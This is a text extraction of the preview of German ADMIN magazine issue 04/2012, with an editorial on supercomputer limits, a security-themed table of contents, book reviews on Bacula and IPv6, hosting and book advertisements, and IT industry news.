ADMIN Magazin Eigene Server gegen Angreifer schützen (Vorschau)
Erfolgreiche ePaper selbst erstellen
Machen Sie aus Ihren PDF Publikationen ein blätterbares Flipbook mit unserer einzigartigen Google optimierten e-Paper Software.
Perl: Datenbank-Zugriff Galera: Freie Clustermit<br />
dem DBI-Modul<br />
Software für MySQL<br />
<strong>ADMIN</strong><br />
Windows<br />
Netzwerk & Security<br />
n Unix-Umgebung per Gow<br />
n Im Test: System Center 2012<br />
Virtualisierung<br />
n KVM-Storage optimiert<br />
n Deltacloud: API für Clouds<br />
Crashdumps: Diagnose<br />
für Linux-Kernel-Crashs<br />
04 2012<br />
Juli – Aug.<br />
Abgeschirmt<br />
<strong>Eigene</strong> <strong>Server</strong> <strong>gegen</strong> <strong>Angreifer</strong> <strong>schützen</strong><br />
Spurensicherung durch Forensik<br />
Risiken: IPv6 und Webserver<br />
Linux-Schutz mit Grsecurity<br />
Auf Heft-CD:<br />
System Rescue CD<br />
Neue Version 2.8.0<br />
VIRTUALISIERUNGs-RubRIK<br />
Jetzt in JEDEM HEFT<br />
SSD-Cache<br />
Die perfekte Synthese:<br />
SSD als Festplatten-Cache<br />
Link Aggregation<br />
Für mehr Performance<br />
und Ausfallsicherheit<br />
Backup<br />
Drei leistungsfähige<br />
Open-Source-Lösungen<br />
www.admin-magazin.de<br />
D EUR 9,80<br />
A EUR 10,80 - BeNeLux EUR 11,25<br />
CH sfr 19,60 - E / I EUR 12,75<br />
4 196360 509805 04
<strong>Server</strong><br />
die mitwachsen<br />
Managed Hosting im Failover-Cluster<br />
Professionelles Hosting<br />
Individuelle Hostinglösungen vom <strong>Server</strong><br />
bis zum Clustersystem inklusive Beratung,<br />
Planung und Service 24/7.<br />
Für mehr Performance, Sicherheit und<br />
Verfügbarkeit, jeden Tag, rund um die Uhr.<br />
hostserver.de/server<br />
Sicherheit im Failover-Cluster:<br />
ISO 9001 zertifiziertes<br />
Managed Hosting<br />
Hochsicherheits-Datacenter<br />
in Frankfurt/Main<br />
DE-CIX Direktanbindung<br />
Umfassender Datenschutz<br />
nach BDSG<br />
24/7 Service und Support<br />
0 30 / 420 200 24 hostserver.de<br />
Berlin Marburg Frankfurt am Main<br />
Managed Hosting<br />
zertifiziert nach<br />
ISO 9001 : 2008
The writing on the wall<br />
Editorial<br />
The writing on the wall<br />
Jahrzehntelang schien alles klar: Die Anzahl der Transistoren pro Chip verdoppelte<br />
sich entsprechend der vom Intel-Mitbegründer Gordon Moore gefundenen Regel etwa<br />
alle zwei Jahre, und entsprechend wuchs auch die Rechenleistung exponentiell: Auf<br />
den Intel 80286 mit über 100 000 Transistoren und rund 2,66 MIPS im Jahr 1982<br />
folgte nach etwas mehr als drei Verdoppelungen im Zwei-Jahres-Turnus 1989 der<br />
80486 mit über einer Million Transistoren und der zehnfachen Rechenleistung. Zehn<br />
Jahre später war es regelkonform der Pentium III mit knapp 10 Millionen Transistoren<br />
und über 2000 MIPS. Über eine Milliarde Transistoren zählte man auf dem Dualcore<br />
Athlon FX 60 von AMD, der es 2006 vorhersehbar auf fast 20 000 MIPS brachte. Heutige<br />
Prozessoren wie der Intel Core i7 2600K in Sandy-Bridge-Technologie haben den<br />
halben Weg zu den 200 000 MIPS bereits zurückgelegt.<br />
Die Supercomputer, deren Leistung man eher in Floating-Point- statt Integer-Operationen pro Sekunde misst, hielten<br />
sich genauso an das Gesetz: 1997 der erste Teraflop-Rechner, 2008 fiel die Petaflop-Barriere, ab 2018 wird der erste<br />
Exaflop-Computer erwartet. Das bekräftigte gerade erst die International Supercomputing Conference in Hamburg.<br />
Sicher ist das aber nicht, und spätestens danach wird die Bilderbuchkarriere der weltschnellsten Rechner womöglich<br />
abreißen, denn überall zeichnen sich gewichtige Probleme ab.<br />
Nicht zuerst bei den Transistoren, die werden das Tempo noch eine Weile halten, obwohl sich auch da ein Menetekel<br />
andeutet: Die weitere Miniaturisierung wird in die Dimension atomarer Strukturen führen, die prinzipiell nicht mehr<br />
verkleinerbar sind. Man wird sich etwas Intelligenteres einfallen lassen müssen.<br />
Wahrscheinlich aber bereits zuvor stößt die Entwicklung beim Stromverbrauch an eine harte Grenze. In heutiger<br />
Technik würde ein Exaflop-Rechner 400 MW verbrauchen, so viel wie ein durchschnittliches konventionelles Kraftwerk<br />
leistet. Ein Großteil dieser Energie verwandelt sich in Wärme, die abgeführt werden muss. Das wäre momentan<br />
weder mach- noch finanzierbar. Die Zielgröße liegt bei maximal 20 MW pro Superrechner. Um sie zu erreichen, wird<br />
man sich etwas Intelligenteres einfallen lassen müssen.<br />
Ähnliches gilt für den Platzbedarf. Schon der erste Petaflop-Rechner brauchte rund 300 Racks, obwohl er noch um<br />
den Faktor 1000 vom Exaflop-Fernziel entfernt war. 300 000 Racks könnte man nirgendwo aufstellen. Als Obergrenze<br />
gelten höchstens 500. Man wird sich etwas Intelligenteres einfallen lassen müssen.<br />
Eine weitere Herausforderung ist die Programmierbarkeit und Zuverlässigkeit. Es wird darum gehen, zig Millionen<br />
Cores, Milliarden gleichzeitiger Operationen, Dutzende Petabyte Hauptspeicher zu managen und damit klarzukommen,<br />
dass sich in diesem gigantischen System wahrscheinlich jede Sekunde irgendwo ein Fehler ereignet. Gleichzeitig<br />
muss man diese unvorstellbare Rechenkraft auf die Straße bringen, damit sie nutzbar wird. Ein Rechner-Exot, den nur<br />
sein Guru programmieren kann, ist sinnlos. Heutige Tools und Softwarestacks helfen bei einer Aufgabe dieser Größenordnung<br />
nicht weiter. Man wird sich etwas Intelligenteres einfallen lassen müssen.<br />
Schließlich geht es auch um den Preis. Aktuelle Spitzensysteme kosten mehrere Hundert Millionen Dollar. Die Stunde<br />
Rechenzeit hat dadurch den Gegenwert eines Kleinwagens. Billiger wird es nicht. Wer soll das bezahlen? Und wofür?<br />
Sequoia, der schnellste Computer der Welt, rechnet heute an der Simulation von Atomwaffentests.<br />
Man wird sich etwas Intelligenteres einfallen lassen müssen.<br />
@ leserbriefe@admin-magazin.de<br />
www.facebook.com/adminmagazin www.twitter.com/admagz<br />
www.admin-magazin.de<br />
Admin<br />
Ausgabe 04-2012<br />
3
Service<br />
<strong>ADMIN</strong><br />
Netzwerk & Security<br />
Inhalt<br />
04/2012<br />
Wie man den Gefahren in Web und<br />
LAN begegnet — ein Schwerpunkt zum<br />
Thema Websecurity und mehr (ab S. 34)<br />
Honeypots sind die<br />
46Fallensteller<br />
Locktöpfe, die Admins<br />
für Eindringlinge aufstellen.<br />
Login<br />
Netzwerk<br />
Schwerpunkt: Security<br />
8 Vorgelesen<br />
Bücher zu Open-Source-Backup mit<br />
Bacula und IPv6.<br />
24 Dicke Leitung<br />
Link Aggregation realisiert mehr Durchsatz<br />
und Redundanz.<br />
40 Die Pflichten des Protokolls<br />
Unbeachtete IPv6-Features können das<br />
lokale Netz gefährden.<br />
10 Branchen-News<br />
Neues von Firmen und Projekten.<br />
16 Admin-Story<br />
Continuous Integration mit Jenkins.<br />
18 Recht bei Mailarchivierung<br />
Eine Anwältin erläutert, welche Mails<br />
man wie lange aufheben muss.<br />
Service<br />
3 Editorial<br />
4 Inhalt<br />
6 Heft-CD<br />
130 Impressum und <strong>Vorschau</strong><br />
28 Schweizer Netzwerkmesser<br />
Die kostenlose Netshell bietet unter Windows<br />
fortgeschrittene Einstelloptionen<br />
fürs Netz.<br />
Schwerpunkt: Security<br />
34 Spurensicherung<br />
Die forensische Analyse des Arbeitsspeichers<br />
unter Linux.<br />
46 Fallensteller<br />
Effektivere Honeypots durch Sensoren<br />
auf Produktivsystemen.<br />
52 Seitenkanäle mit Untiefen<br />
Manche Webanwendungen spielen<br />
<strong>Angreifer</strong>n unfreiwillig Informationen zu.<br />
56 Grsecurity<br />
Ein Kernel-Patch verbessert die Sicherheit<br />
durch rollenbasierten Schutz.<br />
4 Ausgabe 04-2012 Admin www.admin-magazin.de
Inhalt<br />
Service<br />
70<br />
Oldie but Goldie<br />
Alte Hasen chatten<br />
immer noch am<br />
liebs ten über das IRC-Protokoll.<br />
KVM-Virtualisierung<br />
bietet di-<br />
118Abgerundet<br />
verse Optionen für Storage.<br />
gut geführt<br />
Hilfestellungen auf<br />
96Benutzer<br />
Konsole und Desktop.<br />
Know-how<br />
64 Flugschreiber<br />
Kernel-Crashdumps konfigurieren und<br />
auswerten.<br />
82 Hochgeschwindigkeit<br />
Aus dem Facebook-Labor: SSDs als<br />
Cache für Festplattenspeicher.<br />
Basics<br />
94 In Harmonie<br />
Die Alternative zu Cygwin: ballaststoffarme<br />
Unix-Umgebung in Windows.<br />
70 Oldie but Goldie<br />
Einen eigenen IRC-<strong>Server</strong> für das Unternehmen<br />
aufsetzen.<br />
88 Abgesichert<br />
Ein neuer Cluster für MySQL vermeidet<br />
alte Beschränkungen.<br />
96 Benutzer gut geführt<br />
Auf dem Desktop und in der Konsole<br />
Benutzer vor Abwegen bewahren.<br />
76 Wettkampf<br />
Drei neue Open-Source-Lösungen:<br />
Netzwerk-Backup mit Burp, Obnam und<br />
Backshift.<br />
99 Verschwägert<br />
Der verschollene Verwandte bietet<br />
<strong>gegen</strong>über Linux einige Vorzüge:<br />
FreeBSD 9 installieren und testen.<br />
Test<br />
102 Das vierte Programm<br />
Die Hadoop-Distribution von Cloudera<br />
will den Cluster-Einsatz vereinfachen.<br />
106 An vorderster Front<br />
Fedora 17 bringt Ovirt fürs Virtualisierungsmanagement.<br />
110 Rundum sorglos<br />
Microsoft System Center 2012 — Management<br />
in der Cloud.<br />
Virtualisierung<br />
114 Anschlussfreudig<br />
Das Deltacloud-<br />
Projekt bietet<br />
eine API zum<br />
Zugriff auf viele<br />
Clouds.<br />
118 Abgerundet<br />
Die optimale Disk-Konfiguration führt<br />
zu besserer Performance bei KVM-<br />
Virtualisierung.<br />
Programmieren<br />
124 Go<br />
Schnörkellos<br />
und praxisnah:<br />
die Google-<br />
Programmiersprache<br />
Go.<br />
127 Perl-DBI<br />
Die Programmierschnittstelle zum<br />
herstellerübergreifenden Zugriff auf<br />
Datenbanken benutzen.<br />
Mehr Infos auf Seite 6<br />
Retter in der Not<br />
n Alle Tools zur Systemwiederherstellung auf einer CD<br />
n Im Desasterfall partitionieren, formatieren und Daten<br />
restaurieren von einer bootbaren Rettungs-CD<br />
www.admin-magazin.de Admin Ausgabe 04-2012<br />
5
SErvice<br />
Heft-CD<br />
Heft-CD<br />
Auf dem beiliegenden Datenträger finden Sie die neueste<br />
Version 2.8.0 der System Rescue CD [1], einer bootbaren CD<br />
für Systemrettung und andere Aufgaben.<br />
◗ Inklusive Tools für Partitionierung, Speichertest, Dateimanager,<br />
Backup & Restore [2].<br />
◗ Unterstützt eine Vielzahl von Dateisystemen, darunter<br />
Ext2/3/4, Btrfs, ReiserFS, XFS, JFS, VFAT, NTFS und<br />
HFS.<br />
◗ 32-Bit- und 64-Bit-Modus, Linux-Kernel 3.2 mit Long<br />
Term Support.<br />
Legen Sie einfach die CD in das Laufwerk ein, und starten<br />
Sie den Rechner. Möglicherweise müssen Sie noch im<br />
BIOS die richtige Boot-Reihenfolge einstellen, damit das<br />
Laufwerk vor der Festplatte an die Reihe kommt. n<br />
Info<br />
CD kaputt?<br />
Wir schicken Ihnen kostenlos eine<br />
Ersatz-CD zu, E-Mail genügt:<br />
info@admin-magazin.de<br />
[1] Projektseite: [http://www.sysresccd.org]<br />
[2] Informationen zu den enthaltenen Tools:<br />
[http://www.sysresccd.org/System-tools]<br />
6 Ausgabe 04-2012<br />
Admin www.admin-magazin.de
BUCHEN SIE BIS ZU<br />
VIRTUELLE<br />
99 MASCHINEN!<br />
1&1 DYNAMIC CLOUD SERVER: BLITZSCHNELL<br />
MEHR POWER NUTZEN!<br />
Jetzt 100 und heute Abend 1.000 Kunden?<br />
Kein Problem!<br />
■ NEU! Leistungserhöhung und Leistungsreduktion<br />
jederzeit flexibel nach Bedarf einstellbar<br />
■ NEU! Performance Features: bis zu 6 CPU, bis zu<br />
24 GB RAM und bis zu 800 GB HDD<br />
■ NEU! Jederzeit weitere Virtuelle Maschinen zubuchbar<br />
■ NEU! Stundengenaue Abrechnung<br />
■ NEU! Management und Monitoring Ihrer <strong>Server</strong>-<br />
Dienste im Browser oder per Mobile-App<br />
■ Hosting in den sicheren 1&1 Hochleistungs-Rechenzentren<br />
■ Linux- oder Windows-Betriebssystem,<br />
bei Bedarf Parallels Plesk Panel 10 unlimited vorinstalliert<br />
■ <strong>Eigene</strong> dedizierte <strong>Server</strong>-Umgebung mit vollem Root-Zugriff<br />
■ <strong>Eigene</strong>s SSL-Zertifikat<br />
■ 24/7 Hotline und Support<br />
1&1 DYNAMIC CLOUD SERVER<br />
3 MONATE FÜR<br />
0,–€/Monat, danach<br />
ab 39,99 €/Monat*<br />
Infos und<br />
Bestellung:<br />
0 26 02 / 96 91<br />
0800 / 100 668 www.1und1.info<br />
* 1&1 Dynamic Cloud <strong>Server</strong> Basiskonfi guration 3 Monate 0,– €/Monat, danach 39,99 €/Monat. Performance Features ab 0,01 € pro Stunde und Einheit zubuchbar. Konfi guration und<br />
Leistungsberechnung jeweils stundengenau. Einmalige Einrichtungsgebühr 39,– €. 12 Monate Mindestvertragslaufzeit. Preise inkl. MwSt.
Login<br />
Bücher<br />
Bücher über Bacula und IPv6<br />
Vorgelesen<br />
Diesen Monat beschäftigen sich die beiden Bücher im Lesetest mit der<br />
Open-Source-Backup-Lösung Bacula und dem IPv6-Protokoll.<br />
Jens-Christoph Brendel, Oliver Frommel<br />
Backup-Software für Linux gibt es überreichlich.<br />
Ein guter Teil davon ist freie<br />
Software. Aber solche, die auch andere<br />
Unixe oder sogar Windows-Clients sichert,<br />
ist schon viel seltener. Und wenn<br />
dann noch die Anforderungen einer Produktivumgebung<br />
berücksichtigt werden<br />
sollen: Zuverlässigkeit, Skalierbarkeit,<br />
Wartbarkeit – da fällt dem Admin nicht<br />
viel mehr als ein Name ein: Bacula. Nun<br />
ist das erste Buch über Bacula erschienen,<br />
noch dazu in deutscher Sprache.<br />
Der Autor Philipp Storz beschäftigt sich<br />
schon jahrelang mit der Backupsoftware<br />
und gehörte mit seiner Firma dassIT zu<br />
den ersten Partnern der Entwicklerfirma<br />
Bacula Inc. Von seinem fundierten Knowhow<br />
profitiert der Leser, den das Buch<br />
systematisch in die Materie einführt. Angefangen<br />
von Installation und Konfiguration<br />
über Erläuterungen zu den verschiedenen<br />
Backup-Strategien und Konzepten<br />
bis zur nicht ganz trivialen Konfiguration<br />
der verschiedenen Daemons und ihres<br />
Zusammenspiels.<br />
Ein weiteres Kapitel wendet sich der mit<br />
Bacula verwendbaren Hardware zu, vornehmlich<br />
Platten, Bandlaufwerken und<br />
Tape Libraries und ihrer Ansteuerung als<br />
Sicherungsmedien unter Bacula. Im Anschluss<br />
geht es um die Bedienung der<br />
Application via Bacula Console auf der<br />
Kommandozeile. GUIs, die es zumindest<br />
im Ansatz gibt, kommen nicht vor.<br />
Weitere Kapitel dringen noch weiter in die<br />
Materie vor und diskutieren die verschiedenen<br />
Optionen bei File Sets (Rechte,<br />
Meta-Daten, Filter und so weiter) oder<br />
spezielle Einstellungen für Zeitpläne oder<br />
Benachrichtigungen. Auch das Thema<br />
Bacula in größeren Umgebungen kommt<br />
aufs Tapet. Es werden noch einmal verschiedene<br />
Sicherungsstrategien und ihre<br />
Umsetzung in Bacula beleuchtet, wie<br />
auch das Feature, den Ist-Zustand mit<br />
älteren Versionen zu vergleichen, ohne<br />
sich auf Zeitstempel zu verlassen.<br />
Ein eigenes Kapitel behandelt das Disaster<br />
Recovery und die dabei nötigen<br />
Werkzeuge. Schließlich kommt auch<br />
die Fehlersuche in Bacula-Installationen<br />
nicht zu kurz. Alles in allem ein umfassendes<br />
Nachschlagewerk für alle Bacula-<br />
Anwender, Einsteiger ebenso wie Fortgeschrittene.<br />
IPv6<br />
Seit dem 6. Juni 2012 läuft das Internet<br />
offiziell auch mit IPv6. Jedenfalls,<br />
wenn es nach dem Willen der obersten<br />
Internet-Behörden gehen soll. Tatsächlich<br />
verwendet derzeit etwa ein Prozent der<br />
Internet-Hosts das IPv6-Protokoll.<br />
Dennoch tritt es langsam aber sicher<br />
auch seinen Weg in die Firmennetze an<br />
und provoziert den Administrator zur<br />
Weiterbildung. Bücher gibt es auf dem<br />
deutschsprachigen Markt nicht sehr viele,<br />
eines davon ist „IPv6 – Das Praxisbuch“<br />
von Dirk Jarzyna, das im mitp-Verlag<br />
erschienen ist.<br />
Obwohl der Titel groß „IPv6“ ankündigt,<br />
beschäftigt sich das Buch zur Hälfte mit<br />
dem IPv4-Protokoll. Der Klappentext begründet<br />
dies damit, dass ein Verständnis<br />
von IPv6 einen Vergleich der Protokollfamilien<br />
voraussetze – eine Argumentation,<br />
der man nicht unbedingt folgen muss.<br />
So ist die detaillierte Erklärung von TCP/<br />
IP- und OSI-Schichtenmodell nur für absolute<br />
Einsteiger von Nutzen, kaum für<br />
gestandene Administratoren, die sich nun<br />
in IPv6 einarbeiten wollen. Weitere Kapitel<br />
über TCP, Subnetz-Bildung, Adressierung,<br />
Subnetting und Routing folgen,<br />
wohlgemerkt mit IPv4.<br />
Der zweite Teil handelt die entsprechenden<br />
Punkte zu IPv6 beinahe knapper<br />
ab, aber immerhin sind die wichtigsten<br />
Aspekte angesprochen. Praktische Aspekte<br />
wie Dual-Stack-Betrieb und IPv6-<br />
Anbindung per Tunnels erklärt das Buch<br />
knapp, hier wären ausführlichere Erklärungen<br />
sicher möglich. Lobenswert ist<br />
ein eigenes Kapitel zu Sicherheitsaspekten<br />
bei IPv6, das kurz auf mögliche neue<br />
Angriffsvektoren eingeht.<br />
Insgesamt kommt der praktische Aspekt<br />
des „Praxishandbuchs“ deutlich zu kurz.<br />
Auch ist es kaum verständlich, warum<br />
das IPv4-Protokoll in einem Buch zu IPv6<br />
einen derart großen Umfang einnimmt.<br />
Wenn man die Knappheit der Darstellung<br />
als Vorzug versteht, ist das IPv6-<br />
Praxishandbuch ein kurzes Kompendium<br />
zu TCP/IP, das auch einen Einstieg in das<br />
IPv6-Protokoll liefert.<br />
n<br />
Bacula<br />
Philipp Storz<br />
Bacula<br />
447 Seiten<br />
Open Source Press<br />
46 Euro<br />
ISBN: 3941841416<br />
IPv6<br />
Dirk Jarzyna<br />
IPv6 – Das Praxisbuch<br />
245 Seiten<br />
mitp<br />
24,95 Euro<br />
ISBN: 3826691172<br />
8 Ausgabe 04-2012 Admin www.admin-magazin.de
WWW.VIEWEGTEUBNER.DE<br />
springer-vieweg.de<br />
Fachbücher zur IT-Sicherheit<br />
Heinrich Kersten, Klaus-Dieter Wolfenstetter<br />
IT-Sicherheitsmanagement nach ISO 27001 und Grundschutz<br />
Der Weg zur Zertifizierung<br />
3., akt. und erw. Aufl. 2011. XVI, 363 S. mit 4 Abb. u. 20 Tab. (Edition ) Br. € (D) 54,95<br />
ISBN 978-3-8348-1599-6<br />
Das Buch führt den Leser Schritt für Schritt in diese Standards ein und legt verständlich dar, wie man ein adäquates<br />
Management-System (ISMS) aufbaut.Viele kommentierte Maßnahmen unterstützen Sicherheitsverantwortliche<br />
bei der Auswahl geeigneter Sicherheitsmaßnahmen in allen Bereichen. Zusätzlich erhält der Leser<br />
detaillierte Informationen zu internen und externen Audits sowie der Zertifizierung nach ISO 27001.<br />
Diese erweiterte 3. Auflage des Buches berücksichtigt neu hinzugekommene Normen der ISO 2700x Reihe<br />
und vertieft die Themen Risikoanalyse, Messung der Sicherheit sowie die Schnittstelle zum IT-Grundschutz<br />
des BSI, der sich nahtlos an die genannten Standards anschließt.<br />
Klaus-Rainer Müller<br />
IT-Sicherheit mit System<br />
Integratives IT-Sicherheits-, Kontinuitäts- und Risikomanagement - Sicherheitspyramide - Standards und<br />
Practices - SOA und Softwareentwicklung<br />
4., neu bearb. und erw. Aufl. 2011. XXVI, 577 S. mit 38 Abb. Geb. € (D) 79,95<br />
ISBN 978-3-8348-1536-1<br />
Mit diesem Buch identifizieren Sie Risiken, bauen wegweisendes effizienzförderndes Handlungswissen auf,<br />
richten Ihre IT sowie deren Prozesse, Ressourcen und die Organisation systematisch und effektiv auf Sicherheit<br />
aus und integrieren Sicherheit in den IT-Lebenszyklus. Der Autor führt Sie von der Politik bis zu Konzepten und<br />
Maßnahmen. Beispiele und Checklisten unterstützen Sie und der Online-Service des Autors bietet Ihnen zusätzliche<br />
News, Links und ergänzende Beiträge.<br />
Gerhard Klett, Klaus-Werner Schröder, Heinrich Kersten<br />
IT-Notfallmanagement mit System<br />
Notfälle bei der Informationsverarbeitung sicher beherrschen<br />
2011. XII, 200 S. mit 17 Abb. u. 14 Tab. (Edition ) Br. € (D) 34,95<br />
ISBN 978-3-8348-1288-9<br />
Im Buch werden nach einem Praxisbericht u. a. folgende Themen behandelt: Business Impact Analysis,<br />
Business Continuity nach ISO 27001, Notfallvorsorge nach IT-Grundschutz, Notfall-Leitlinie, Notfallorganisation,<br />
Wiederanlaufplanung, Notbetrieb, Hot-, Warm- und Cold-Standby. Präventive Maßnahmen zur Notfallverhinderung<br />
werden ebenso behandelt wie Maßnahmen zur Notfallbewältigung und die Notfall-Dokumentation.<br />
Ralf-T. Grünendahl, Andreas F. Steinbacher, Peter H.L. Will<br />
Das IT-Gesetz: Compliance in der IT-Sicherheit<br />
Leitfaden für ein Regelwerk zur IT-Sicherheit im Unternehmen<br />
2., akt. Aufl. 2012. XII, 358 S. mit 34 Abb. u. 27 Tab. Br. € (D) 49,95<br />
ISBN 978-3-8348-1680-1<br />
Das Buch richtet sich an Führungskräfte und Sicherheitsbeauftragte, die vor der Aufgabe stehen,<br />
Regelungen zur IT-Sicherheit für ihr Unternehmen zu definieren. Dieses Buch liefert dazu eine konkrete<br />
Anleitung. Es basiert auf internationalen Standards wie BSI Grundschutz-Handbuch, Cobit und ITIL.<br />
Einfach bestellen: SpringerDE-service@springer.com Telefon +49 (0)6221 / 3 45 – 4301<br />
Änderungen vorbehalten. Erhältlich im Buchhandel oder beim Verlag. Innerhalb Deutschlands liefern wir versandkostenfrei.
Login<br />
News<br />
+++ neueste Nachrichten immer auf http://www.admin-magazin.de +++++ neueste Nachrichte<br />
Neue Software und Produkte<br />
Branchen-News<br />
Mitgliederzuwachs bei der Linux Foundation<br />
Die Linux Foundation kann sich über einen<br />
weiteren Sponsor ihrer Aktivitäten<br />
rund um das freie Betriebssystem freuen.<br />
Samsung Electronics hat sich als sogenanntes<br />
Platin-Mitglied beworben. Mit<br />
Adeneo, Feuerlabs, Omnibond, Stec und<br />
Synopsys kann die Linux Foundation zudem<br />
fünf neue Mitglieder im Silber-Status<br />
begrüßen.<br />
Samsung möchte mit der Mitgliedschaft<br />
einen Beitrag für die Weiterentwicklung<br />
von Linux leisten. Der koreanische Konzern<br />
will sich auch an der Kernel-Entwicklung<br />
beteiligen.<br />
Die mittlerweile sieben Platin-Mitglieder<br />
zahlen jährlich je einen Beitrag 500.000<br />
US-Dollar und bekommen einen Sitz im<br />
Board of Directors der Stiftung.<br />
Jim Zemlin, Direktor der Linux Found ation<br />
sieht eine Win-Win-Situation, Samsung<br />
festige damit seine Erfolgsstrategie. Ein<br />
sogenannter Silver Member zahlt, abhängig<br />
von der Firmengröße, einen Jahresbeitrag<br />
zwischen 5000 und 20.000 US-Dollar.<br />
Ihre Mitglieder hat die Linux Foundation<br />
im Web [http://www.linuxfoundation.org/about/<br />
members] aufgelistet.<br />
Top 500: Der Viertschnellste steht in München<br />
Im Rahmen der Opening Session der International<br />
Supercomputing Conference<br />
ISC ’12 in Hamburg wurde die 39te Liste<br />
der 500 schnellsten Computer der Welt<br />
präsentiert.<br />
Der neue Spitzenreiter, das Sequoia-<br />
System (IBM BlueGene/Q) des Lawrence<br />
Livermore National Laboratory in den<br />
USA, erreicht unter Linux mit insgesamt<br />
1 572 864 Cores einen maximalen Linpack-Wert<br />
von 16 324,8 Teraflops (16,32<br />
Petaflops). Auf dem Fuß folgt ihm der<br />
japanische K-Computer mit Sparc64-<br />
CPUs, der vormalige Spitzenreiter, mit 10<br />
510 Teraflops. Schon auf Platz vier findet<br />
sich der eben erst in Betrieb genommene<br />
SuperMUC des Leibniz-Rechenzentrums<br />
der TU München, der schnellste Rechner<br />
in Europa, der immerhin 2 897 Teraflops<br />
Der SuperMUC des Leibniz-Rechenzentrums ist der schnellste Rechner in Europa.<br />
© LRZ<br />
aufzubieten hat und von IBM installiert<br />
wurde.<br />
IBM dominiert auch wie in den Jahren<br />
zuvor souverän die Rangfolge der erfolgreichsten<br />
Hersteller von Supercomputern:<br />
213 der Top500 stammen von ihm, was<br />
einen Anteil von 43 Prozent ausmacht.<br />
Auf Platz zwei findet sich HP mit 27 Prozent<br />
Anteil, andere Hersteller wie Dell,<br />
Fujitsu, Cray oder Bull kommen nur auf<br />
einstellige Prozentwerte. Untersucht man<br />
die Verteilung der Superrechner nach Regionen,<br />
dann entfallen die Hälfte der Installationen<br />
auf die USA. Bereits auf dem<br />
zweiten Platz folgt mit 14 Prozent China,<br />
das in den letzten Jahren sehr stark an<br />
Wachstum zugelegt hat. Deutschland (4<br />
Prozent) spielt in einer Liga mit Frankreich<br />
(4 Prozent) oder England (5 Prozent),<br />
stellt aber mit dem Rechner Ju-<br />
Queen des Forschungszentrums Jülich<br />
immerhin ein zweites System unter den<br />
Top 10 (Platz 8).<br />
Bei den Prozessoren hat Intel seit Jahren<br />
ebenso unangefochten die Nase vorn wie<br />
IBM bei den Herstellern: Rechnet man<br />
die verschiedenen Intel-Prozessortypen<br />
zusammen, kommt man auf einen Anteil<br />
über 70 Prozent. Dabei sterben Dual-Coreund<br />
selbst Quad-Core-Systeme langsam<br />
aus, der Trend geht zu 8 bis 16 Kernen<br />
pro CPU.<br />
Eines der nach wie vor am meisten diskutierten<br />
Themen auf der Konferenz ist<br />
die Energieeffizienz. Würde der <strong>gegen</strong>wärtige<br />
Trend fortbestehen, müsste ein<br />
Superrechner zum Ende der laufenden<br />
Dekade, wenn man den Durchbruch<br />
zum Exaflop-Computing erwartet, acht<br />
bis neun Megawatt Strom verbrauchen.<br />
Allerdings hofft man, diesen Wert bis<br />
dahin deutlich senken zu können und<br />
konzentriert große Forschungskapazitäten<br />
auf dieses Ziel.<br />
Die International Supercomputing Conference<br />
begrüßte dieses Jahr die Rekordzahl<br />
von über 2100 Teilnehmer aus 55<br />
Ländern, die in mehr als 30 Sessions<br />
über 100 Vortragenden folgen werden.<br />
Nachdem sie in diesem Jahr zum vierten<br />
Mal in Hamburg stattfand, wird der<br />
Austragungsort im nächsten Jahr nach<br />
Leipzig wechseln.<br />
10 Ausgabe 04-2012 Admin www.admin-magazin.de
n immer auf http://www.admin-magazin.de<br />
Anmeldestart für Open-Suse-Konferenz<br />
Die Anmeldung zur Open-Suse-Konferenz, die vom 20. bis 23.<br />
Oktober 2012 in Prag stattfindet, ist eröffnet. Auch Beiträge<br />
zum Programm werden noch angenommen. Dabei beherbergt<br />
die technische Universität Prag gleichzeitig drei weitere Treffen:<br />
die Gentoo Miniconf, die tschechischen Linux Days, einen Track<br />
namens Future Media sowie die Suse Labs Conference.<br />
Die kostenlose Registrierung ist per Webformular möglich. Wer<br />
die Veranstaltung unterstützen möchte, kann ein Supporter-Paket<br />
für 40 Euro oder den Professional-Tarif für 250 Euro wählen.<br />
Förderer nehmen am Dinner der Referenten teil, Professionals<br />
treffen sich zudem mit dem Suse-Management.<br />
Weitere Informationen zur Veranstaltung gibt es auf einer Portalseite<br />
[http://en.opensuse.org/Portal:Conference] im Open-Suse-Wiki.<br />
Interessierte Sprecher sind eingeladen, Beiträge einzureichen.<br />
TM<br />
MobyDick<br />
D i e Z u k u n f t der Telefonie<br />
Mit der MobyDick Telefonanlage haben Sie alle Fäden selbst in<br />
der Hand. Außerdem verbinden Sie die Features modernster<br />
Telefonie mit den Vorteilen von Voice over IP.<br />
Die Kommunikationslösung für Ihr<br />
Unternehmen<br />
Die Open-Suse-Konferenz, die im Oktober in Prag stattfindet, beheimatet noch<br />
weitere Events rund um Open Source.<br />
Btrfs-Chefentwickler verlässt Oracle<br />
Chris Mason, der Hauptentwickler des Linux-Dateisystems<br />
Btrfs, wechselt kommende Woche von seinem bisherigen Arbeitgeber<br />
Oracle zum SSD-Storage-Hersteller Fusion-IO. Dies<br />
teilt er in einer Nachricht an die Btrfs-Mailingliste mit. An der<br />
Entwicklung von Btrfs soll sich dadurch nichts ändern. Oracle<br />
soll weiterhin Btrfs in seinen Linux-Produkten einsetzen, Mason<br />
wird künftig Auftrag von Fusion-IO an Btrfs arbeiten.<br />
Btrfs wird bereits seit Längerem als das kommende Linux-<br />
Dateisystem gehandelt, das unter anderem Snapshots und RAID<br />
beherrscht. Allerdings gilt es immer noch nicht als völlig ausgereift,<br />
wenngleich Oracle und Suse das Dateisystems in ihre<br />
Distributionen aufgenommen haben.<br />
Oracle vs. Google: kein Copyright auf APIs<br />
In dem Gerichtsverfahren zwischen Oracle und Google, in<br />
dem es darum geht, inwieweit die Android-Plattform Oracles<br />
Rechte am „geistigen Eigentum“ vom Java verletzt, hat der<br />
vorsitzende Richter Alsup eine grundlegende Entscheidung<br />
getroffen: Programmierschnittstellen (APIs) fallen nicht unter<br />
das Urheberrecht. Solange sich der Code selbst unterscheidet,<br />
widerspreche es nicht dem geltenden Recht, eine API etwa mit<br />
gleich benannten Klassen und Methoden zu implementieren.<br />
Mit dieser Entscheidung ist ein weiteres Argument entkräftet,<br />
das Oracle <strong>gegen</strong> Google und die Android-Plattform in Anschlag<br />
gebracht hatte. Oracle will nun <strong>gegen</strong> das jüngste Urteil in<br />
Berufung gehen.<br />
www.admin-magazin.de<br />
Unified Communications:<br />
Telefon<br />
Video<br />
VoiceMail<br />
Präsenzmanager<br />
Instantmessaging<br />
FaxEmail Gateway<br />
